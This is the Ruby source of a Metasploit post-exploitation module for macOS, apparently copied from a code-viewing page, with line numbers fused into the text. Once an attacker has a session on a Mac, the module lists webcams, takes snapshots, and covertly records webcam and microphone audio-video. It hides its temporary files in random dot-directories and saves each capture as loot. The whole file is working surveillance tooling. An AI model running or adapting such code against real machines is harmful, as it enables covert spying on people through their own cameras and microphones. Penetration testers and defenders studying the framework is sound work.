Path: blob/master/modules/post/osx/manage/webcam.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'shellwords'67class MetasploitModule < Msf::Post8include Msf::Post::File9include Msf::Auxiliary::Report10include Msf::Post::OSX::RubyDL1112POLL_TIMEOUT = 1201314def initialize(info = {})15super(16update_info(17info,18'Name' => 'OSX Manage Webcam',19'Description' => %q{20This module will allow the user to detect installed webcams (with21the LIST action), take a snapshot (with the SNAPSHOT action), or22record a webcam and mic (with the RECORD action).23},24'License' => MSF_LICENSE,25'Author' => [ 'joev'],26'Platform' => [ 'osx'],27'SessionTypes' => [ 'shell' ],28'Actions' => [29[ 'LIST', { 'Description' => 'Show a list of webcams' } ],30[ 'SNAPSHOT', { 'Description' => 'Take a snapshot with the webcam' } ],31[ 'RECORD', { 'Description' => 'Record with the webcam' } ]32],33'DefaultAction' => 'LIST',34'Notes' => {35'Stability' => [CRASH_SAFE],36'SideEffects' => [],37'Reliability' => []38}39)40)4142register_options(43[44OptInt.new('CAMERA_INDEX', [true, 'The index of the webcam to use. `set ACTION LIST` to get a list.', 0]),45OptInt.new('MIC_INDEX', [true, 'The index of the mic to use. `set ACTION LIST` to get a list.', 0]),46OptString.new('JPG_QUALITY', [false, 'The compression factor for snapshotting a jpg (from 0 to 1)', '0.8']),47OptString.new('TMP_FILE',48[true, 'The tmp file to use on the remote machine', '/tmp/.<random>/<random>']),49OptBool.new('AUDIO_ENABLED', [false, 'Enable audio when recording', true]),50OptString.new('AUDIO_COMPRESSION',51[true, 'Compression type to use for audio', 'QTCompressionOptionsHighQualityAACAudio']),52OptString.new('VIDEO_COMPRESSION',53[true, 'Compression type to use for video', 'QTCompressionOptionsSD480SizeH264Video']),54OptEnum.new('SNAP_FILETYPE',55[true, 'File format to use when saving a snapshot', 'png', %w[jpg png gif tiff bmp]]),56OptInt.new('RECORD_LEN', [true, 'Number of seconds to record', 30]),57OptInt.new('SYNC_WAIT', [true, 'Wait between syncing chunks of output', 5])58]59)60end6162def run63fail_with(Failure::BadConfig, 'Invalid session ID selected.') if client.nil?64fail_with(Failure::BadConfig, 'Invalid action') if action.nil?6566num_chunks = (datastore['RECORD_LEN'].to_f / datastore['SYNC_WAIT'].to_f).ceil67tmp_file = datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10) + '1' }68ruby_cmd = osx_capture_media(69action: action.name.downcase,70snap_filetype: datastore['SNAP_FILETYPE'],71audio_enabled: datastore['AUDIO_ENABLED'],72video_enabled: true,73num_chunks: num_chunks,74chunk_len: datastore['SYNC_WAIT'],75video_device: datastore['CAMERA_INDEX'],76audio_device: datastore['MIC_INDEX'],77snap_jpg_compression: datastore['JPG_QUALITY'].to_f,78video_compression: datastore['VIDEO_COMPRESSION'],79audio_compression: datastore['AUDIO_COMPRESSION'],80record_file: tmp_file,81snap_file: tmp_file + datastore['SNAP_FILETYPE']82)8384output = cmd_exec(['ruby', '-e', ruby_cmd].shelljoin)85if action.name =~ /list/i86print_good output87elsif action.name =~ /record/i88@pid = output.to_i89print_status "Running record service with PID #{@pid}"90(0...num_chunks).each do |i|91# wait SYNC_WAIT seconds92print_status "Waiting for #{datastore['SYNC_WAIT'].to_i} seconds"93Rex.sleep(datastore['SYNC_WAIT'])94# start reading for file95begin96::Timeout.timeout(poll_timeout) do97loop do98if File.exist?(tmp_file)99# read file100contents = File.read(tmp_file)101# delete file102rm_f(tmp_file)103# roll filename104base = File.basename(tmp_file, '.*') # returns it with no extension105num = ((base.match(/\d+$/) || ['0'])[0].to_i + 1).to_s106ext = File.extname(tmp_file) || 'o'107tmp_file = File.join(File.dirname(tmp_file), base + num + '.' + ext)108# store contents in file109title = 'OSX Webcam Recording ' + i.to_s110f = store_loot(title, 'video/mov', session, contents,111"osx_webcam_rec#{i}.mov", title)112print_good "Record file captured and saved to #{f}"113print_status 'Rolling movie file. '114break115else116Rex.sleep(0.3)117end118end119end120rescue ::Timeout::Error121fail_with(Failure::TimeoutExpired, 'Client did not respond to new file request, exiting.')122end123end124elsif action.name =~ /snap/i125if output.include?('(RuntimeError)')126print_error output127return128end129130snap_type = datastore['SNAP_FILETYPE']131img = read_file(tmp_file + snap_type)132f = store_loot('OSX Webcam Snapshot', "image/#{snap_type}",133session, img, "osx_webcam_snapshot.#{snap_type}", 'OSX Webcam Snapshot')134print_good "Snapshot successfully taken and saved to #{f}"135end136end137138def cleanup139return unless @cleaning_up.nil?140141@cleaning_up = true142143if action.name =~ (/record/i) && !@pid.nil?144print_status('Killing record service...')145cmd_exec("/bin/kill -9 #{@pid}")146end147end148149private150151def poll_timeout152POLL_TIMEOUT153end154end155156157